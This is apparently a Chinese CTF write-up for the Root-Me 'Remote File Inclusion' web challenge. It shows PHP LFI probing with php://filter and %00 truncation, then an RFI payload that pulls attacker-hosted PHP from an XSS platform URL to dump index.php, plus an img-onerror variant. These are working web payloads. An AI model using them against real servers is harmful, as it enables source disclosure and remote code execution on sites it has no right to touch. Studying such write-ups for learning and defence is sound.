- 来源:Root-Me
- 题型:Web-Server
- 题目:Remote File Inclusion
- 分数:30 Points
题目分析
PHP 的 RFI (远程文件包含)漏洞利用,与 LFI (本地文件包含)很类似。
题目要求我们获取 PHP 页面源码,开启挑战后,只有 Français (?lang=fr) 和 English (?lang=en) 两个选项。
顺手测试了一下,当前页面的名称为 index.php :

换言之我们有 3 个页面:?lang=fr、?lang=en、 index.php 。
LFI 试错
虽然题目提示要使用 RFI 完成挑战,但是还是先测试下 LFI 的效果。
可以利用 php://filter 特性读取页面源码,构造这样的 payload :
?lang=php://filter/convert.base64-encode/resource=fr
于是得到 Base64 编码的页面源码:
PD9waHAKCiRsYW5nID0gYXJyYXkgKAogICAgICAgICAgICAnbGFuZycgPT4gJ0xhbmd1ZScsCiAgICAgICAgICAgICd3ZWxjb21lJyA9PiAnQmllbnZlbnVlIHN1ciBub3RyZSBub3V2ZWF1IHNpdGUgd2ViICEnLAogICAgICAgICk7Cgo/Pgo=
对其解码虽然得到源码,但是没有有效的信息:
<?php
$lang = array (
'lang' => 'Langue',
'welcome' => 'Bienvenue sur notre nouveau site web !',
);
?>
类似地,?lang=en 的页面源码也是没提供有效的信息。

换言之,有效信息应该保存在 index.php 。于是构造类似的 payload 去读取页面源码:
?lang=php://filter/convert.base64-encode/resource=index.php
但是页面报错:
Warning: include(php://filter/convert.base64-encode/resource=index.php_lang.php): failed to open stream
从报错分析可以知道,代码会把 ?lang=输入 构造成 include('输入_lang.php')
亦即前面之所以可以读取到 ?lang=fr 和 ?lang=en 的内容,是因为他们真正的文件名是 fr_lang.php 和 en_lang.php 。
但是因为不存在 index_lang.php 和 index.php_lang.php 页面,所以 include() Local File 时就会报错。

其实在 LFI 的领域,这种情况(include 的文件被强制加了后缀)是有办法处理的。
因为 PHP 是用 C 语言编写的,而在 C 语言中,标记一个字符串的终止符是 \0 ,其 URL 编码是 %00 。
因此可以尝试在 payload 末尾添加 %00 以截断被强制添加的 _lang.php 后缀:
?lang=php://filter/convert.base64-encode/resource=index.php%00
但是这次报错为 Warning: include() ,即 include 的参数被置空,说明 %00 被过滤了。

RFI 漏洞
由于 LFI 的最后希望被封堵,我们把策略转移到 RFI 。
其实 RFI 更简单,从前面分析已经知道,代码会把 ?lang=输入 构造成 include('输入_lang.php')。
RFI 只需要再 输入 点直接设置 URL 地址即可,如 payload 为:?lang=https://www.baidu.com 。
但是页面返回报错 Warning: include(https://www.baidu.com_lang.php): failed to open stream 。
这是因为 _lang.php 后缀作祟。

在 RFI 中要截断后缀,只需要在末尾添加 ? 即可,这样后缀就会变成 URL 的参数,亦即构造 payload 为:
?lang=https://www.baidu.com?
于是我们成功把百度嵌入到了页面中:

RFL 注入
既然可以成功嵌入百度,那么也可以嵌入 payload 页面。
所以接下来要做的,就是在一个公网可访问的 WEB 服务器上构造一个页面,把该页面的内容作为 payload ,读取发起 include 行为的页面源码。
为了节省搭建 WEB 服务器的资金,从这里开始我们利用 XSS 平台,推荐 http://xss.tf 。
在 XSS 平台上新建一个项目,并配置自定义代码 <?php echo file_get_contents('index.php') ?> 。
配置完成后,我们得到访问这个项目的页面地址为 http://xss.tf/M5Q

将 XSS 项目的 URL 注入挑战页面,即构造 payload : ?lang=http://xss.tf/M5Q?
成功读取到 index.php 的源码,打开浏览器的开发者工具,在注释中找到 flag ,完成挑战。

其他 payload
在 XSS 平台上构造 payload 的过程中,我发现这题挑战其实不止一个解法:
在 inlcule() 参数的引号被闭合后,可以注入 HTML 和 JS 代码,然后在 JS 代码中调用 PHP 代码。
例如构造这样的 payload 一样可以成功读取到页面源码:
'<img src=0 onerror="<?php echo file_get_contents('index.php') ?>" />'
看上去好像多此一举,不过在某些情况可能会很有用。

答案下载
flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip,然后解压即可(为了避免直接刷答案)